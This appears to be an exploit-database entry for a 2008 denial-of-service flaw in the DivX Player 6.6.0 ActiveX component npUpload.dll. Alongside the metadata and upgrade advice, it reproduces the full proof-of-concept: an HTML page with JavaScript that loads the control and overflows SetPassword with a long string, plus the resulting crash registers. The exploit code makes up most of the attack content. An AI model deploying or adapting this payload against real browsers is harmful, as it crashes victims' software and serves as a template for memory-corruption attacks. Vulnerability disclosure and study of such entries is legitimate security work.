header-logo
Suggest Exploit
vendor:
DivX Player
by:
shir
7.8
CVSS
HIGH
Denial of Service
119
CWE
Product Name: DivX Player
Affected Version From: 6.6.2000
Affected Version To: 6.6.2000
Patch Exists: YES
Related CWE: N/A
CPE: a:divx:divx_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: IE 7
2008

DivX SetPassword (npUpload.dll) Denial of Service

This vulnerability allows remote attackers to cause a denial of service via a crafted SetPassword call in the npUpload.dll module of DivX Player 6.6.0. When the SetPassword function is called with a large string, a buffer overflow occurs, which results in an access violation when reading [00000000].

Mitigation:

Upgrade to the latest version of DivX Player.
Source

Exploit-DB raw data:

<object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;">
</object>

<script>
function crash() {
var buff = '';
for(i=0;i<=500;i++) {buff+="AAAAAAAAAA";}

object = document.getElementById("divx");
object.SetPassword(buff);
}
</script>

<pre>
<h3><u>DivX SetPassword (npUpload.dll) Denial of Service</u></h3>
<b>Tested on IE 7 and Divx Player 6.6.0</b>

<b>Registers:</b>

EAX 00000000
ECX FFFFFFFF
EDX 0191CA50
EBX 008E06E0
ESP 0191C9E4
EBP 0191CA50
ESI 00000000
EDI 00000000
EIP 061F2B52 npUpload.061F2B52

Access violation when reading [00000000]...


<i>Discovered by shir, 02/01/2007</i>

<a href="javascript:;" OnClick="crash()">Crash...</a>
</pre>

# milw0rm.com [2008-01-02]